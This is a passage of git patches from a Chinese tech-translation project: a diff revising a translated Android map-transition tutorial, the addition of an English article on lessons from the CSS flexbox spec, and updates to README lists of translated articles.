 After map is ready, the *onMapReady()* method is called, and we can do some operations to save the properly loaded map into bitmap. We are moving camera to earlier provided *LatLngBounds* using *CameraUpdateFactory.newLatLngBounds()* method. In our case we know exactly what will be the dimension of the map in the next screen, so we are able to pass *width*(width of screen) and *height*(height of screen with bottom margin) parameters to this method. We are calculating them like this:
 
-当已经准备好加载地图时，就会调用 **onMapReady()** 方法，我们就可以通过一些操作把当前加载的地图转换成 bitmap 图片。通过 **CameraUpdateFactory.newLatLngBounds()** 方法，我们可以把镜头转到之前提供的 **LatLngBounds**  上。这样的话我们就精确的知道下个页面的地图区域，再把屏幕宽度和高度当作参数传入 **onMapReady()** 方法，像这样操作:
+当地图加载完毕时，就会调用 **onMapReady()** 方法，我们就可以通过一些操作把当前加载的地图转换成 bitmap 图片。通过 **CameraUpdateFactory.newLatLngBounds()** 方法，我们可以把镜头转到之前提供的 **LatLngBounds**  上。这样的话我们就精确的知道下个页面的地图区域，再把屏幕宽度和高度当作参数传入 **onMapReady()** 方法，像这样操作:
 
 
 ```
-public static intcalculateWidth(final WindowManager windowManager){
+public static int calculateWidth(final WindowManager windowManager){
 
     DisplayMetrics metrics=newDisplayMetrics();
 
@@ -277,15 +231,9 @@ public static intcalculateHeight(final WindowManager windowManager,finalintpaddi
     returnmetrics.heightPixels-paddingBottom;
 ```
 
-Easy. After *googleMap.moveCamera()* method being called, we are setting the *OnMapLoadedCallback*. When camera is moved to the desired position, the *onMapLoaded()* method is called and we are ready to take bitmap from it.
-
 很简单吧？在调用 **googleMap.moveCamera()** 方法以后，我们设置 **OnMapLoadedCallback**  的回调。当镜头移动到正确的位置的时候，**onMapLoaded()** 会被调用，我们准备好从在此处截图了。
 
-## Getting bitmap and saving in cache ##
-
-## 获得图片并保存在缓存中 ##
-
-The *onMapLoaded()* method has only one task to do – call *presenter.saveBitmap()* after snapshot is taken from the map. Thanks to lambda expression, we can reduce boilerplate to simply one line
+## 获得图片并保存在缓存中
 
 **onMapLoaded()** 方法只做一件事 —— 在从地图上获得快照后调用  **presenter.saveBitmap()** 方法。多亏 lambda 表达式，我们可以缩短代码到一行。(译者注：有关 lamb 表达式，推荐搭配[此文章](https://github.com/xitu/gold-miner/pull/1578/files)一起食用。)
 
@@ -293,9 +241,7 @@ The *onMapLoaded()* method has only one task to do – call *presenter.saveBitma
 googleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));
 ```
 
-The presenters code is really simple. It only saves our bitmap in the cache.
-
-此 presenter （注：MVP 里的 P） 的代码非常简单，它只是把图片保存在缓存里。
+此 presenter （译者注：MVP 里的 P） 的代码非常简单，它只是把图片保存在缓存里。
 
 ```
 @Override
@@ -313,7 +259,7 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 
     public static final String KEY="MAP_BITMAP_KEY";
 
- 
+
 
     private static MapBitmapCache sInstance;
 
@@ -333,7 +279,7 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 
     }
 
- 
+
 
     public staticMapBitmapCache instance(){
 
@@ -349,7 +295,7 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 
     }
 
- 
+
 
     public Bitmap getBitmap(){
 
@@ -357,7 +303,7 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 
     }
 
- 
+
 
     public void putBitmap(Bitmap bitmap){
 
@@ -365,7 +311,7 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 
     }
 
- 
+
 
     @Override
 
@@ -378,20 +324,12 @@ public class MapBitmapCache extends LruCache<String,Bitmap>{
 }
 ```
 
-I’ve used *LruCache* for it, because it is the recommended way, well described [here](https://developer.android.com/topic/performance/graphics/cache-bitmap.html).
-
 此处我使用了 **LruCache** ，因为这是比较推荐的做法，[此处](https://developer.android.com/topic/performance/graphics/cache-bitmap.html)有详细解释。
 
-So we have bitmap saved in the cache, the only thing we have to do is to make custom transition for scale and fade effect of the map when entering *DetailsFragment*. Easy peasy lemon squeezy.
-
 现在我们把bitmap 存到了缓存里，剩下唯一要做的事情就是自定义一个缩放和渐进效果的转场动画。
 毛毛雨洒洒水啦~(译者注: 原文为 Easy peasy lemon squeezy。是一个比较有意思的、以俏皮的语气表达“轻而易举”或者“手到擒来”概念的短语。)
 
-
-## Custom enter transition for fade/scale map effect ##
-## 自定义一个包含缩放和渐显效果的转场 ##
-
-So the most interesting part! The code is rather simple, however it allows us to do great stuff.
+## 自定义一个包含缩放和渐显效果的转场
 
 下面是最有意思的部分，代码也炒鸡简单！但就是这部分完成了比较炫酷的事情。
 
@@ -408,11 +346,11 @@ public class ScaleDownImageTransition extends Transition{
 
     private Context context;
 
- 
+
 
     private int targetScaleFactor = DEFAULT_SCALE_DOWN_FACTOR;
 
- 
+
 
     public ScaleDownImageTransition(final Context context){
 
@@ -422,7 +360,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     public ScaleDownImageTransition(final Context context,final Bitmap bitmap){
 
@@ -432,7 +370,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     public ScaleDownImageTransition(final Context context,final AttributeSet attrs){
 
@@ -454,7 +392,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     public void setBitmap(final Bitmap bitmap){
 
@@ -462,7 +400,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     public void setScaleFactor(final intfactor){
 
@@ -470,7 +408,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     @Override
 
@@ -493,13 +431,13 @@ public class ScaleDownImageTransition extends Transition{
 
             float scaleY=(float)startValues.values.get(PROPNAME_SCALE_Y);
 
- 
+
 
             float targetScaleX=(float)endValues.values.get(PROPNAME_SCALE_X);
 
             float targetScaleY=(float)endValues.values.get(PROPNAME_SCALE_Y);
 
- 
+
 
             ObjectAnimator scaleXAnimator = ObjectAnimator.ofFloat(view,View.SCALE_X,targetScaleX,scaleX);
 
@@ -517,7 +455,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     @Override
 
@@ -527,7 +465,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     @Override
 
@@ -537,7 +475,7 @@ public class ScaleDownImageTransition extends Transition{
 
     }
 
- 
+
 
     private void captureValues(final TransitionValues values,final float scaleX,final float scaleY){
 
@@ -550,12 +488,9 @@ public class ScaleDownImageTransition extends Transition{
 }
 ```
 
-What we do in this transition is that we are scaling down the scaleX and scaleY properties from ImageView from *scaleFactor* (default is 8) to desired view scale. So in other words we are increasing the width and height by *scaleFactor* in the first place, and then we are scaling it down to desired size.
-
 我们在转场动画中做了什么事情呢？我们用 **scaleFactor** 对传入的 imageView 进行了 scaleX 和 scaleY 属性的缩放（默认是8）。换句话说我们通过 **scaleFactor** 先把图片拉伸，然后再把图片压缩回需要的大小。
 
-### Creating custom transition ###
-### 创建自定义转场动画 ###
+### 创建自定义转场动画
 
 In order to do the custom transition, we have to inherit from Transition class. The next step is to override the *captureStartValues* and *captureEndValues*. What is happening here?
 
@@ -571,15 +506,11 @@ How to pass those values? As said before – easy. We have TransitionValues obje
 
 With values captured, we need to override the *createAnimator()* method. In this method we are returning the *Animator* (or *AnimatorSet*) object which animates changes between view property values. So in our case we are returning the *AnimatorSet* which will animate the scale and alpha of the view. Also we want our transition to work only for ImageView, so we check if view reference from TransitionValues object passed as argument is ImageView instance.
 
-获得这些值以后，我们需要重写 **createAnimator()** 方法。在这个方法中需要返回一个动态改变 view 属性的**动画对象**（或者 **动画序列对象**）。本项目中返回的是**动画序列**对象，此对象同时改变一个 view 的尺寸和亮度。同时，因为我们只希望转场动画作用在 ImageView 上，所以通过 instanceof 进行了对象类型校验，以保证传入的 view 是一个 ImageView。
-
-### Applying custom transition ###
+获得这些值以后，我们需要重写 **createAnimator()** 方法。在这个方法中需要返回一个动态改变 view 属性的 **Animator** （或者  **AnimatorSet** ）。本项目中返回的是 **AnimatorSet** 对象，此对象同时改变一个 view 的尺寸和亮度。同时，因为我们只希望转场动画作用在 ImageView 上，所以通过 instanceof 进行了对象类型校验，以保证传入的 view 是一个 ImageView。
 
 ### 部署自定义转场动画 ###
 
-We have bitmap stored in memory, we have transition created, so we have last step – applying the transition to our fragment. I like to create static factory method for creating the fragments and activities. It looks really nice and helps us to keep the code rather clean. It is also the nice idea to put our Transition there programmatically.
-
-我们已经在缓存中保存了 bitmap 图片，也已经创建了转场动画，所以只剩最后一步 —— 就是为 fragment 添加转场动画。我喜欢写一个静态工厂方法来创建 fragments 和 activities 。这么做可以让我们保持代码逻辑清晰，所以也应该用编程的方式添加转场动画.
+我们已经在缓存中保存了 bitmap 图片，也已经创建了转场动画，所以只剩最后一步 —— 就是为 fragment 添加转场动画。我喜欢写一个静态工厂方法来创建 fragments 和 activities 。这么做可以让我们保持代码逻辑清晰，所以也应该用这样的设计模式来编写转场动画的代码。
 
 ```
 public static Fragment newInstance(final Context ctx){
@@ -599,8 +530,6 @@ public static Fragment newInstance(final Context ctx){
 }
 ```
 
-As we can see it is really easy to do. We create new instance of our transition, we add target here and also in XML of the target view, via t*ransitionName* attribute.
-
 瞧，做起来多简单。我们为转场动画实例化了一个新的实例，又通过 xml 为它添加了 **transitionName** 的属性。
 
 ```
@@ -617,22 +546,14 @@ As we can see it is really easy to do. We create new instance of our transition,
     android:transitionName="@string/mapPlaceholderTransition"/>
 ```
 
-Next we just pass transition to fragment via *setEnterTransition()* method and voila! There is the effect:
-
 然后我们通过 **setEnterTransition()** 把fragment 传递进去, 看吧!效果出现啦:
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_transiton.gif?x77083)
 
-# Conclusion #
-
 #  总结
 
-As you can see, the final result is closer to the original from the GIF than native map loading. There is also a glitch in the final phase of the animation – this is because the snapshot from the map is different than the content of the SupportMapFragment.
-
 你看，最终效果已经很接近像 GIF 那样从本地加载地图的效果了。但是最后一帧动画仍然会有那么一点闪烁，因为地图的快照还是与实际的地图有点差别。
 
-Thanks for reading! Next part will be published on Tuesday 7.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
-
 多谢阅读，下一部分会在 7.03 星期二更新。如果有疑问的话，欢迎评论。当然如果发现这些博文很有趣，不要忘记分享噢。
 
 ---

From f8aa8ef7f2a958b50f582423ce8f135e2df5823f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 21:54:41 +0800
Subject: [PATCH 560/638] Create
 11-things-i-learned-reading-the-flexbox-spec.md

---
 ...ings-i-learned-reading-the-flexbox-spec.md | 280 ++++++++++++++++++
 1 file changed, 280 insertions(+)
 create mode 100644 TODO/11-things-i-learned-reading-the-flexbox-spec.md

diff --git a/TODO/11-things-i-learned-reading-the-flexbox-spec.md b/TODO/11-things-i-learned-reading-the-flexbox-spec.md
new file mode 100644
index 00000000000..9311b9296ae
--- /dev/null
+++ b/TODO/11-things-i-learned-reading-the-flexbox-spec.md
@@ -0,0 +1,280 @@
+> * 原文地址：[11 things I learned reading the flexbox spec](https://hackernoon.com/11-things-i-learned-reading-the-flexbox-spec-5f0c799c776b)
+> * 原文作者：[David Gilbertson](https://hackernoon.com/@david.gilbertson)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# 11 things I learned reading the flexbox spec #
+
+I’ve always found flexbox pretty easy to work with — a breath of fresh air after years of floating and clearfixing.
+
+Recently though, I found myself fighting against it; something was flexing when I didn’t think it should be flexing. I fixed it, something else got squashed. I fixed that, then something else got pushed right off the screen. What in the George W Bush was going on?
+
+In the end I got it all working, but the sun had set and my process had been the old CSS fiddle-a-roo. Or … what’s that game where you have to whack a mole and then another mole pops up and you have to whack that one too?
+
+Anyhoo, I decided it was about time that I behaved like a grown up developer and learned flexbox properly. But rather than read another 10 blog posts, I decided to go straight to the source and read [The CSS Flexible Box Layout Module Level 1 Spec](https://www.w3.org/TR/css-flexbox-1/).
+
+Here’s the good bits.
+
+### 1. Margins have special powers ###
+
+I used to think that if you wanted, say, a header with a logo and site title on the left, and a sign in button over on the right…
+
+![](https://cdn-images-1.medium.com/max/800/1*Y1xY5s_DFPRaZzTwpfb_WQ.png)
+
+Dotted lines for clarity
+
+…you should give the title a flex of 1 to push the other items to either end of the row.
+
+```
+.header {
+  display: flex;
+}
+.header .logo {
+  /* nothing needed! */
+}
+.header .title {
+  flex: 1;
+}
+.header .sign-in {
+  /* nothing needed! */
+}
+```
+
+This is why flexbox is a Very Good Thing. Simple things are so simple.
+
+But maybe, for some reason, you don’t want to stretch an item just to push another item to the right. It might be a box with an underline, an image, or some third reason I can’t think of.
+
+Great news! You can be more direct and instead say “push this item to the right” by defining `margin-left: auto` on that item. Think of it like `float: right`.
+
+For example if the item on the left was an image:
+
+![](https://cdn-images-1.medium.com/max/800/1*hFLefXP4fsgnFDIjPIcrTQ.png)
+
+I don’t need to apply any flex to image, I don’t need to apply `space-between` to the flex container, I just set `margin-left: auto` on the ‘Sign in’ button:
+
+```
+.header {
+  display: flex;
+}
+.header .logo {
+  /* nothing needed! */
+}
+.header .sign-in {
+  margin-left: auto;
+}
+```
+
+You might think that seems a bit hacky, but nope, it’s right there in the [overview](https://www.w3.org/TR/css-flexbox-1/#overview) of the spec as *the* method used to push a flex item to the end of a flexbox. It even has its own chapter, “[Aligning with auto margins](https://www.w3.org/TR/css-flexbox-1/#auto-margins)”.
+
+Oh I should add here that I’m assuming `flex-direction: row` everywhere in this post, but it all applies just the same to `row-reverse` or `column` or `column-reverse`.
+
+### 2. min-width matters ###
+
+You might think that it would be straightforward to ensure that all of the flex items within a container shrink to fit. Surely if you have `flex-shrink: 1` on the items, that’s what they do, right?
+
+An example, perhaps.
+
+Let’s say you’ve got a bit of DOM that shows a book for sale and a button to buy it.
+
+![](https://cdn-images-1.medium.com/max/800/1*kx1Xl4o5at3whroR9gB0Dw.png)
+
+(Spoiler: the butterfly dies in the end)
+
+You’ve laid it out with flexbox and all is well.
+
+```
+.book {
+  display: flex;
+}
+.book .description {
+  font-size: 30px;
+}
+.book .buy {
+  margin-left: auto;
+  width: 80px;
+  text-align: center;
+  align-self: center;
+}
+```
+
+(You want the ‘Buy now’ button to be on the right — even for really short titles — so you’ve cleverly given it `margin-left: auto`.)
+
+The title is quite long so it uses up as much space as it can, then wraps to the next row. You are happy, life is good. You blissfully ship your code to production with confidence that it will handle anything.
+
+Then you get a nasty surprise. And not the good kind.
+
+Some pretentious muppet has written a book with a long word in the title.
+
+![](https://cdn-images-1.medium.com/max/800/1*skXsBLXnoul3J64xKb1HmA.png)
+
+That’s totes broken!
+
+If that red border represents the width of a phone, and you’re hiding overflow, you’ve just lost your ‘Buy now’ button. Your conversion rates — and the poor author’s ego — are going to suffer.
+
+(Side note: luckily where I work we have a good QA team that have populated our database with all sorts of nasty text like this. It was this issue in particular that prompted me to read the spec.)
+
+As it turns out, this behaviour is because the `min-width` of the description item is initially set to `auto`, which in this case equates to the width of the word *Electroencephalographically.* The flex item is literally not allowed to be any narrower than that word.
+
+The solution? Override this troublesome `min-width: auto` by setting `min-width: 0`, instructing flexbox that it’s OK for this item to be narrower than the content within it.
+
+It’s then up to you to handle the text inside the item. I’d suggest wrapping the word. So your CSS would look like this:
+
+```
+.book {
+  display: flex;
+}
+.book .description {
+  font-size: 30px;
+  min-width: 0;
+  word-wrap: break-word;
+}
+.book .buy {
+  margin-left: auto;
+  width: 80px;
+  text-align: center;
+  align-self: center;
+}
+```
+
+The result will be this:
+
+![](https://cdn-images-1.medium.com/max/800/1*lM96U8XNZJEGPrVwqJk91w.png)
+
+Again, `min-width: 0` is not some hack to work around a quirk, it’s the [suggested behavior right from the spec](https://www.w3.org/TR/css-flexbox-1/#min-size-auto).
+
+In the next section I’ll address that ‘Buy now’ button being not at all 80px wide like I quite clearly told it to be.
+
+### 3. The flexbox authors have crystal balls ###
+
+As you probably know, the `flex` property is shorthand for `flex-grow`, `flex-shrink` and `flex-basis`.
+
+I must admit I’ve spent quite a few minutes guessing-and-checking different values for these three when trying to get things to flex the way I want.
+
+What I didn’t know until now is that I generally only want one of three combinations:
+
+- If I want an item to squish in a bit if there isn’t enough room, but not to stretch any wider than it needs to: `flex: 0 1 auto`
+- If my flex item should stretch to fill the available space and squish in a bit if there’s not enough room: `flex: 1 1 auto`
+- If my item should not flex at all: `flex: 0 0 auto`
+
+I hope you’re not at maximum amazement yet — it’s about to get more amazing.
+
+You see, the Flexbox Crew (I like to think the flexbox team have leather jackets that say this across the back — available in women’s and men’s sizes). Where was this sentence. Ah yes, the Flexbox Crew knew that these are the three flex property combinations I want most of the time, so they gave them [keywords just for me](https://www.w3.org/TR/css-flexbox-1/#flex-common).
+
+The first scenario is the `initial` value so doesn’t need the keyword. `flex: auto` is what to use for the second scenario, and `flex: none` is the remarkably simple solution to make something not flex at all.
+
+Who woulda thunk it.
+
+It’s kinda like having `box-shadow: garish` and that defaulting to `2px 2px 4px hotpink` because it’s considered a ‘useful default’.
+
+So back to that extremely ugly book example from before. To make that ‘Buy now’ button a consistently fat tap target…
+
+![](https://cdn-images-1.medium.com/max/800/1*oaBk_GjcSHAvSkdhJhwkSA.png)
+
+…I only need to set `flex: none` on it:
+
+```
+.book {
+  display: flex;
+}
+.book .description {
+  font-size: 30px;
+  min-width: 0;
+  word-wrap: break-word;
+}
+.book .buy {
+  margin-left: auto;
+  flex: none;
+  width: 80px;
+  text-align: center;
+  align-self: center;
+}
+```
+
+(Yes, I could have done `flex: 0 0 80px;` and saved a line of CSS. But there’s something nice about the way that `flex: none` clearly represents the intention of the code. This is good for poor Future David who will have forgotten how all this works.)
+
+### 4. inline-flex is a thing ###
+
+OK to be honest I learned a few months ago that `display: inline-flex` was a thing. And that it would create a flex container that was inline, instead of a block.
+
+But I estimate that 28% of people did not yet know this, so … now you do, bottom 28%.
+
+### 5. vertical-align has no effect on a flex-item ###
+
+Maybe this is something that I *half* knew, but I’m sure at some point when trying to get something to align just right I may have tried `vertical-align: middle` then shrugged when it didn’t work.
+
+Now I know for sure, straight from the spec, that “[vertical-align has no effect on a flex item](https://www.w3.org/TR/css-flexbox-1/#flex-containers)” (same as `float`, for the record).
+
+### 6. Don’t use % margins or padding ###
+
+This is not just a best practice type situation, it’s advice-from-grandma level stuff, just do what you’re told and don’t ask questions.
+
+“Authors should avoid using percentages in paddings or margins on flex items entirely” — love, the flexbox spec.
+
+This follows my favourite quote from any spec ever:
+
+> Note: This variance sucks, but it accurately captures the current state of the world (no consensus among implementations, and no consensus within the CSSWG)…
+
+Look out! Honesty-bombing in progress.
+
+### 7. The margins of adjacent flex items don’t collapse ###
+
+You may already know that margins collapse onto each other sometimes. You may also know that margins *don’t* collapse onto each other at some other times.
+
+And now we all know that the margins of adjacent flex items do not ever collapse onto each other.
+
+### 8. z-index works even if position: static ###
+
+I’m not sure that I really care about this one. But I feel like one day, maybe, it will come in handy. It’s exactly the same reason I have a bottle of lemon juice in the fridge.
+
+I’ll have another human in my house one day and they’ll be all like “hey, you got any lemon juice?” and I’ll be all like “sure do, in the fridge” and they’ll be like, “thanks, mate. Hey, if I want to set z-index on a flex item, do I need to specify a position?” and I’ll be all “nah bro, not for flex items.”
+
+### 9. Flex-basis is subtle and important ###
+
+Once your requirements go beyond the keywords `initial`, `auto` and `none`, things get a bit more complex, and now that I *get*`flex-basis`, it’s funny, you know, I can’t quite work out how to end this sentence. Feel free to leave a comment if you’ve got any ideas.
+
+If you have three flex items with flex values of 3, 3, and 4. Then they *will* take up 30%, 30% and 40% of the available space, regardless of their content, if their `flex-basis` is `0`. And *only* if it’s zero.
+
+However, if you want flex to behave in a friendlier, but less predictable way, use `flex-basis: auto`. This will take your flex values into consideration, but also take other factors into account, have a bit of a think about it, then come up with some widths it thinks will work for you.
+
+Check out this neato diagram from the spec:
+
+![](https://cdn-images-1.medium.com/max/800/1*eiAn12jGzun4F7U3mfqUtQ.png)
+
+I’m quite sure this is mentioned in at least one of the flex blog posts I’ve read, but for whatever reason, it didn’t really click until I saw this schmick pic in the spec (triple rhyme if you’re from New Zealand).
+
+### 10. align-items: baseline ###
+
+If I wanted my flex items to align vertically, I’ve always used `align-items: center`. But just like `vertical-align`, you also have the option to set the value to `baseline` which might be more appropriate if your items have different font sizes and you want their baselines to align.
+
+`align-self: baseline` also works, perhaps obviously.
+
+### 11. I’m pretty stupid ###
+
+No matter how many times I read the following paragraph, I remain incapable of comprehending it…
+
+> The content size is the min-content size in the main axis, clamped, if it has an aspect ratio, by any definite min and max cross size properties converted through the aspect ratio, and then further clamped by the max main size property if that is definite.
+
+The words make their way into my holes, are converted to electrical impulses that travel up my optic nerve, arriving just in time to see my brain running out the back door in a puff of smoke.
+
+It’s like Minnie Mouse and Mad Max had a child seven years ago and now he’s drunk on peppermint schnapps, verbally abusing anyone within ear-distance using words he learned when Mummy and Daddy were fighting.
+
+Ladies and Gentlemen we have begun our descent into nonsense, which means it’s time to wrap it up (or stop reading if you’re just here for the learnin’).
+
+The most interesting thing I learned reading the spec was exactly how un-thorough my understanding was, despite the half-dozen or so blog posts I’d read, and how relatively simple flexbox is. It turns out that ‘experience’ isn’t just doing the same thing over and over for years on end.
+
+I can report with delight that my time spent reading has paid for itself already. I’ve gone back through old code and set auto margins, flex values to the shorthand auto or none, and defined a min-width of zero wherever it was needed.
+
+I feel better about this code now, knowing that I’m doing it properly.
+
+My other learning was that although the spec is — in places — exactly as dense and vendor-focused as I thought it would be, there is still a lot of friendly words and examples. It even highlights the parts that lowly web developers can skip over.
+
+However this is a moot point because I’ve told you all the good bits so you needn’t bother reading it for yourself.
+
+Now, if you’ll excuse me, I have to go and read all the other CSS specs.
+
+P.S. I highly recommend reading this, a list of all the flexbox bugs by browser: [https://github.com/philipwalton/flexbugs](https://github.com/philipwalton/flexbugs).
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From cada724ecf642954133e1a19f11311e71f69dcc7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 22:00:57 +0800
Subject: [PATCH 561/638] Update README.md

---
 README.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index d77e8e52405..77ff62e8212 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [508](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [509](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -41,6 +41,7 @@
 
 ## 前端
 
+* [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)

From 12bd48951bd026cbfacd6c4e14f2c4626fd9f227 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 22:01:27 +0800
Subject: [PATCH 562/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 8adabf1bf12..f94133ba6d4 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)

From 404421dc64fbc69e99276243977530057a4040ed Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 22:05:17 +0800
Subject: [PATCH 563/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index f94133ba6d4..2d32dcf82ce 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [利用“Immutability（不可变性）”编写更为简洁高效的代码](https://juejin.im/post/592eb8bfa22b9d005776d6df?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)

From 4f7c473f119c73e57a13843771704cd5b2851a8f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 22:05:59 +0800
Subject: [PATCH 564/638] Update README.md

---
 README.md | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 77ff62e8212..5fcc060a445 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [509](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [510](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -41,11 +41,10 @@
 
 ## 前端
 
+* [利用“Immutability（不可变性）”编写更为简洁高效的代码](https://juejin.im/post/592eb8bfa22b9d005776d6df?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
 * [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
